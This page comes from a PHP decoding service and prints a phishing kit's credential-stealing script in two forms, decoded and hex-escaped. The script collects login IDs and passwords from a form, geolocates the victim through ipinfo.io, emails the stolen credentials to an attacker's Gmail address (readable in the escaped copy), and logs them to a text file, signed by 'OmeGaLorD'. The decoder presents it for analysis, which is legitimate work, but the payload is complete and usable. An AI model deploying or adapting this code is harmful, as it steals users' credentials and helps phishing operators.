Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto wh8bz; jqE8K: if (empty($_POST["\151\x64\160"])) { $nameErr = "\x20"; } elsei..

Decoded Output download

<?php 
 goto wh8bz; jqE8K: if (empty($_POST["idp"])) { $nameErr = " "; } elseif (strlen($_POST["ide"]) > 60) { $nameErr = " "; } elseif (strlen($_POST["idp"]) > 60) { $nameErr = " "; } elseif (strlen($_POST["ide"]) < 1) { $nameErr = " "; } elseif (strlen($_POST["idp"]) < 1) { $nameErr = " "; } else { $ome = $_POST["ide"]; $omp = $_POST["idp"]; $details = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json")); $country = $details->country; $region = $details->region; $city = $details->city; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $message = "==================+[  Result ]+==================
"; $message .= "ID  : " . $ome . "
"; $message .= "pw : " . $omp . "
\xa"; $message .= "Client IP : " . $ip . "\xa"; $message .= "Client Country : " . $country . "\xa"; $message .= "Client state : " . $region . "\xa"; $message .= "Client city : " . $city . "\xa"; $message .= "Port : " . $port . "\xa"; $message .= "=============+ [ Created by OmeGaLorD ] +=============
"; $send = "[email protected]"; $subject = "Det {$ip}"; $headers .= "X-Mailer: PHP v" . phpversion() . "\xd\xa"; mail($send, $subject, $message, $headers); $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $date = date("r"); $data = "==================+[  Result ]+==================<br>
ID: {$ome}<br>
Password: {$omp}<br>\xaClient Country : {$country}<br>\xaClient state : {$region}<br>
Client city : {$city}<br>
date: {$date}<br>\xaClient ip: {$ip}<br>
Port: {$port}<br>\xa=============+ [ Created by OmeGaLorD ] +=============<br><br>"; $filename = "blk/mogger.txt"; $file = fopen($filename, "a+"); fwrite($file, $data); fclose($file); } goto PYiHe; wh8bz: session_start(); goto J594x; J594x: if (empty($_POST["ide"])) { $nameErr = " "; } goto jqE8K; PYiHe: ?>

Did this file decode correctly?

Original Code

<?php
 goto wh8bz; jqE8K: if (empty($_POST["\151\x64\160"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\151\x64\x65"]) > 60) { $nameErr = "\40"; } elseif (strlen($_POST["\151\x64\160"]) > 60) { $nameErr = "\x20"; } elseif (strlen($_POST["\x69\144\145"]) < 1) { $nameErr = "\x20"; } elseif (strlen($_POST["\151\x64\160"]) < 1) { $nameErr = "\x20"; } else { $ome = $_POST["\x69\144\x65"]; $omp = $_POST["\x69\x64\160"]; $details = json_decode(file_get_contents("\x68\164\x74\x70\72\x2f\x2f\151\x70\x69\x6e\146\157\56\151\x6f\x2f{$ip}\57\x6a\x73\x6f\x6e")); $country = $details->country; $region = $details->region; $city = $details->city; $ip = getenv("\x52\x45\x4d\x4f\124\105\137\101\x44\104\122"); $port = $_SERVER["\x52\x45\115\x4f\124\x45\x5f\x50\x4f\x52\x54"]; $hostname = gethostbyaddr($ip); $message = "\x3d\75\x3d\75\75\x3d\x3d\x3d\x3d\75\x3d\x3d\75\x3d\x3d\75\x3d\x3d\x2b\x5b\40\40\122\145\163\165\x6c\x74\x20\135\53\x3d\75\75\x3d\75\75\x3d\75\x3d\75\75\75\x3d\75\x3d\75\x3d\75\12"; $message .= "\111\x44\x20\x20\x3a\x20" . $ome . "\12"; $message .= "\x70\x77\x20\x3a\x20" . $omp . "\12\xa"; $message .= "\103\154\151\x65\x6e\164\40\111\120\x20\72\x20" . $ip . "\xa"; $message .= "\103\x6c\x69\145\156\x74\40\103\x6f\x75\156\164\x72\171\40\72\40" . $country . "\xa"; $message .= "\x43\154\151\145\156\x74\40\163\164\x61\x74\145\40\72\x20" . $region . "\xa"; $message .= "\103\x6c\x69\145\x6e\164\40\143\151\164\171\40\72\40" . $city . "\xa"; $message .= "\120\157\162\164\x20\72\40" . $port . "\xa"; $message .= "\75\75\75\x3d\75\75\75\75\x3d\x3d\x3d\x3d\75\x2b\40\x5b\40\x43\x72\145\x61\164\x65\144\40\142\171\x20\x4f\x6d\x65\x47\141\114\x6f\x72\104\40\x5d\40\x2b\75\x3d\x3d\x3d\75\x3d\x3d\75\75\x3d\x3d\x3d\75\12"; $send = "\156\x67\157\154\x69\164\150\x61\151\64\64\100\x67\x6d\141\151\154\x2e\143\157\155"; $subject = "\104\x65\x74\40{$ip}"; $headers .= "\x58\x2d\115\141\x69\x6c\145\162\x3a\x20\x50\110\x50\x20\166" . phpversion() . "\xd\xa"; mail($send, $subject, $message, $headers); $ip = getenv("\122\x45\x4d\117\x54\105\137\x41\104\104\x52"); $port = $_SERVER["\x52\x45\x4d\117\124\105\x5f\x50\117\x52\124"]; $hostname = gethostbyaddr($ip); $date = date("\x72"); $data = "\x3d\x3d\75\x3d\x3d\x3d\x3d\x3d\75\x3d\75\x3d\75\75\x3d\75\x3d\x3d\x2b\133\40\x20\122\145\163\165\154\x74\x20\x5d\53\75\75\x3d\75\75\x3d\x3d\x3d\x3d\x3d\x3d\x3d\75\75\75\75\75\75\74\x62\162\76\12\x49\x44\x3a\x20{$ome}\x3c\142\x72\x3e\12\120\141\x73\163\x77\157\x72\144\72\x20{$omp}\x3c\142\162\x3e\xa\x43\x6c\x69\145\x6e\x74\40\x43\157\165\156\x74\162\171\x20\72\x20{$country}\74\142\162\x3e\xa\x43\154\151\145\x6e\x74\40\x73\x74\x61\164\145\40\72\x20{$region}\74\x62\162\76\12\103\x6c\151\145\x6e\x74\x20\143\151\164\171\40\72\40{$city}\74\142\162\76\12\x64\141\x74\145\x3a\40{$date}\x3c\x62\162\76\xa\x43\x6c\151\145\156\x74\x20\x69\x70\x3a\40{$ip}\74\x62\x72\76\12\x50\157\x72\x74\x3a\x20{$port}\74\x62\x72\76\xa\75\x3d\x3d\x3d\x3d\75\x3d\75\x3d\x3d\75\x3d\x3d\53\40\x5b\40\103\162\x65\x61\164\145\x64\40\142\171\x20\117\155\x65\107\141\114\x6f\162\104\40\135\40\53\x3d\75\x3d\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\75\x3d\x3c\142\x72\x3e\74\x62\x72\x3e"; $filename = "\x62\x6c\153\57\155\x6f\147\147\145\162\x2e\164\x78\164"; $file = fopen($filename, "\x61\x2b"); fwrite($file, $data); fclose($file); } goto PYiHe; wh8bz: session_start(); goto J594x; J594x: if (empty($_POST["\151\x64\145"])) { $nameErr = "\x20"; } goto jqE8K; PYiHe: ?>

Function Calls

None

Variables

None

Stats

MD5 976d59b3297a0529b4bc55013e22fb19
Eval Count 0
Decode Time 59 ms